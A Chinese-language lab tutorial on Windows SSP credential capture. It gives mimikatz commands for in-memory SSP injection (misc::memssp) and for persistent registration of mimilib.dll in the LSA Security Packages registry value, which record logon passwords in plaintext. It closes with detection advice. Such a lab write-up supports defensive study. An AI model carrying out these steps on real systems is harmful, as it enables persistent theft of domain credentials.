AD域SSP安全防护

一、简介
  SSP(Security Support Provider)是windows操作系统安全机制的提供者。简单的说,SSP就是DLL文件,主要用于windows操作系统的身份认证功能,例如NTLM、Kerberos、Negotiate、Secure Channel(Schannel)、Digest、Credential(CredSSP)。
  SSPI(Security Support Provider Interface,安全支持提供程序接口)是windows操作系统在执行认证操作时使用的API接口。可以说SSPI就是SSP的API接口。
如果获得目标系统system权限,可以使用该方法进行持久化操作。其主要原理是:LSA(Local Security Authority)用于身份验证;lsass.exe作为windows的系统进程,用于本地安全和登录策略;在系统启动时,SSP将被加载到lsass.exe 进程中。但是,假如攻击者对LSA进行了扩展,自定义了恶意的DLL文件,在系统启动时将其加载到lsass.exe进程中,就能够获取lsass.exe进程中的明文密码。这样即使用户更改密码并重新登录,攻击者依然可以获得该账号的新密码。
 
二、实验操作
实验一:
使用mimikatz将伪造的SSP注入内存,这样做不会在系统中留下二进制文件,但如果域控制器重启,被注入内存的伪造的SSP将会丢失。
privilege::debug
misc::memssp
AD域SSP安全防护
注销当前用户重新登录,即可获取明文密码,密码存储在日志文件C:Windowssystem32mimilsa.log中。type C:Windowssystem32mimilsa.log
AD域SSP安全防护
 
实验二:
将mimikatz中的mimilib.dll 放到系统的C:Windowssystem32目录下(DLL的位数需要与windows位数相同),并将mimilib.dll添加到注册表中,使用此方法即使系统重启,也不会影响到持久化的效果。
copy mimilib.dll %systemroot%system32
reg query hklmsystemcurrentcontrolsetcontrollsa /v "Security Packages"
reg add "hklmsystemcurrentcontrolsetcontrollsa" /v "Security Packages" /d "kerberos msv1_0 schannel wdigest tspkg pku2u mimilib" /t REG_MULTI_SZ
注意:最后一步修改注册表需要在powershell中操作,cmd下会报错。
AD域SSP安全防护
查看注册表hklmsystemcurrentcontrolsetcontrollsaSecurity Packages项的值。
AD域SSP安全防护
系统重启后,若dll被成功加载,用户在登录时输入的账号和密码明文就会被记录在C:Windowssystem32kiwissp.log中。
type C:Windowssystem32kiwissp.log
AD域SSP安全防护
 
三、安全防御措施
1.检查注册表hklmsystemcurrentcontrolsetcontrollsaSecurity Packages位置是否存在可疑dll。
AD域SSP安全防护
2.检测%windir%System32 是否有可疑 dll
3.使用第三方工具 Autoruns 检测 LSA中是否存在可疑dll。
AD域SSP安全防护